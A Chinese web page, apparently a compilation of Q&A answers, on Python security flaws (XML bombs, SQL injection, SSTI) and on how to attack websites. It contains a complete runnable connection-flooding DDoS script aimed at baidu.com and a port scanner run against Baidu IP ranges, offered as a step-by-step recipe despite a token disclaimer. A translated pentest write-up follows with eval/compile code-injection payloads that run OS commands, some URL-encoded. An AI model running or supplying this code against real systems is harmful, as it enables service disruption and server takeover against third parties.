Python常见的漏洞都有什么？
首先是解析XML漏洞。如果您的应用程序加载和解析XML文件，那么您可能正在使用XML标准库模块。有一些针对XML的常见攻击。大多数是DoS风格（旨在破坏系统而不是窃取数据）。这些攻击很常见，尤其是在解析外部（即不受信任的）XML文件时。一种这样的攻击是“十亿笑”，因为加载的文件包含许多（十亿）“笑”。您可以加载XML实体文件，当XML解析器尝试将此XML文件加载到内存中时，它将消耗许多GB的内存。
其次是SQL注入漏洞。SQL注入漏洞的原因是用户输入直接拼接到SQL查询语句中。在pythonweb应用程序中，orm库一般用于数据库相关的操作。例如，Flask和Tornado经常使用SQLAlchemy，而Django有自己的orm引擎。.但是如果不使用ORM，直接拼接SQL语句，就有SQL注入的风险。
再者是输入函数漏洞。在Python2的大量内置特性中，输入是一场彻底的安全灾难。一旦调用它，从标准输入读取的任何内容都会立即解析为Python代码，显然，除非脚本的标准输入中的数据完全可信，否则决不能使用输入函数。Python2文档建议将rawinput作为安全的替代方案。在Python3中，input函数等价于rawinput，一劳永逸地解决了这个陷阱。
要知道SSTI是ServerSideTemplateInjection，是Web开发中使用的模板引擎。模板引擎可以将用户界面和业务数据分离，逻辑代码和业务代码也可以相应分离，代码复用变得简单，开发效率也提高了。模板在服务器端使用，数据由模板引擎渲染，然后传递给用户，可以为特定用户/特定参数生成对应的页面。我们可以对比一下百度搜索，搜索不同词条得到的结果页面是不一样的，但是页面的边框基本是一样的。
如何进行DDOS攻击怎么做
会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可
代码：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。
所以，更好用Windows里的PING进行检测
操作：
在Windows搜索栏里输入：cmd
输入：
ping -n 10 -l 1 baidu.com
//这里拿百度做示范，别真打百度！
那么，就会发现，系统反映了：
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 26ms，最长 = 29ms，平均 = 27ms
说明，百度的服务器有一个主服务器是39.156.69.79
那么，就来查找百度的所有服务器吧！
输入以下代码：
#绝大多数成功的 *** 攻击都是以端口扫描开始的，在 *** 安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否
#开放了指定端口，进一步判断主机是否运行了某些重要的 *** 服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池，允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程，同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池，close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！
接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！
python爬虫被当做黑客攻击是怎么回事呢
因为爬取数据的时候造成大量的数据访问，且有可能暴露敏感信息
且访问网站的行为也不像正常用户访问，所以会被当成攻击
如何使用python查找网站漏洞
如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用 *** 的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一 *** 立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的 *** 来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：
\
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload：
\
我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的 *** 。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的 *** 来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景：
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# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
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请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
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漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用 *** 跟sqlmap基本相同。
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